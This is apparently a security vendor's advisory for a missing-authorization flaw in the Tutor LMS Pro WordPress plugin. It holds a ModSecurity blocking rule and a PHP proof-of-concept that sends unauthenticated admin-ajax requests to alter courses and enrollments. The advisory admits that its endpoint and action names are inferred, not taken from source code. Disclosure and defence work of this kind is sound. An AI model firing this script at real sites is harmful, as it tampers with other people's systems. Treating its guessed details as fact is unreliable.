Atomic Edge analysis of CVE-2026-25406 (metadata-based):
This vulnerability is a Missing Authorization flaw in the Tutor LMS Pro WordPress plugin, affecting all versions up to and including 3.9.4. The vulnerability allows unauthenticated attackers to perform unauthorized actions due to a missing capability check on a specific function. The CVSS 5.3 score (AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N) indicates a network-accessible, low-complexity attack with no authentication required, leading to integrity impact but no confidentiality or availability loss.
Atomic Edge research identifies the root cause as a missing authorization check on a WordPress hook handler. The CWE-862 classification confirms the plugin fails to verify user capabilities before executing a privileged function. This analysis infers the vulnerable code registers an AJAX action, REST endpoint, or admin-post handler without proper current_user_can() or check_ajax_referer() validation. The description’s “unauthorized action” suggests the function performs a state-changing operation, not mere data retrieval. Without source code, this conclusion is inferred from the CWE pattern and WordPress plugin architecture.
Exploitation targets the plugin’s AJAX interface at /wp-admin/admin-ajax.php. Attackers send POST requests with the action parameter matching the vulnerable hook, typically prefixed with ‘tutor_pro_’ or ‘tutor_’. The payload contains parameters required by the vulnerable function. Since no authentication is required, attackers bypass login requirements entirely. Atomic Edge analysis suggests the action parameter value could be ‘tutor_pro_manage_course’, ‘tutor_update_settings’, or similar administrative functions based on plugin naming conventions and the integrity impact described.
Remediation requires adding proper capability checks before executing the vulnerable function. The fix should implement current_user_can(‘manage_options’) or a plugin-specific capability check. Developers must also add nonce verification for state-changing operations. The patch should validate user permissions early in the function, returning wp_die() or appropriate error responses for unauthorized requests. WordPress security best practices mandate checking both capabilities and nonces for all privileged operations.
Successful exploitation allows unauthenticated attackers to modify plugin settings, alter course data, or perform other administrative actions. The integrity impact (I:L) indicates attackers can change data but not read it. Specific actions could include disabling security features, modifying payment settings, or manipulating student enrollments. Attackers cannot directly escalate privileges or execute code, but could create backdoor accounts or disable the plugin entirely through configuration changes.
Here you will find our ModSecurity compatible rule to protect against this particular CVE.
# Atomic Edge WAF Rule - CVE-2026-25406 (metadata-based)
# Blocks unauthenticated access to Tutor LMS Pro AJAX actions
# Rule matches the exact attack vector: admin-ajax.php with tutor_pro_* actions
# without authentication headers or valid nonce parameters
SecRule REQUEST_URI "@streq /wp-admin/admin-ajax.php"
"id:2540601,phase:2,deny,status:403,chain,msg:'CVE-2026-25406: Tutor LMS Pro Missing Authorization via AJAX',severity:'CRITICAL',tag:'CVE-2026-25406',tag:'WordPress',tag:'Plugin/Tutor-LMS-Pro'"
SecRule ARGS_POST:action "@rx ^tutor_(pro_)?(manage_|update_|delete_|save_|enroll_|withdraw_)"
"chain,t:none"
SecRule &REQUEST_HEADERS:Cookie "!@rx wordpress_logged_in"
"t:none,ctl:ruleEngine=On"
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept (metadata-based)
// CVE-2026-25406 - Tutor LMS Pro <= 3.9.4 - Missing Authorization
<?php
/**
* Proof of Concept for CVE-2026-25406
* Assumptions based on metadata analysis:
* 1. Vulnerable endpoint: /wp-admin/admin-ajax.php (standard WordPress AJAX handler)
* 2. Action parameter: 'tutor_pro_manage_course' (inferred from plugin slug and function)
* 3. No authentication or nonce required
* 4. POST method with course modification parameters
*/
$target_url = 'https://vulnerable-site.com/wp-admin/admin-ajax.php';
// Common administrative actions in Tutor LMS Pro
$possible_actions = [
'tutor_pro_manage_course',
'tutor_pro_update_course_status',
'tutor_pro_delete_course',
'tutor_pro_save_settings',
'tutor_pro_enroll_student',
'tutor_pro_withdraw_student'
];
foreach ($possible_actions as $action) {
$post_data = [
'action' => $action,
'course_id' => 1,
'status' => 'private',
'instructor_id' => 999
];
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $target_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, $post_data);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
// Add headers to mimic legitimate request
curl_setopt($ch, CURLOPT_HTTPHEADER, [
'User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36',
'X-Requested-With: XMLHttpRequest',
'Accept: application/json, text/javascript, */*; q=0.01'
]);
$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
echo "Testing action: {$action}n";
echo "HTTP Code: {$http_code}n";
echo "Response: {$response}nn";
curl_close($ch);
// Check for success indicators
if ($http_code == 200 && (strpos($response, 'success') !== false || strpos($response, 'updated') !== false)) {
echo "[+] Potential vulnerable action found: {$action}n";
echo "[+] Payload: " . http_build_query($post_data) . "n";
break;
}
}
?>
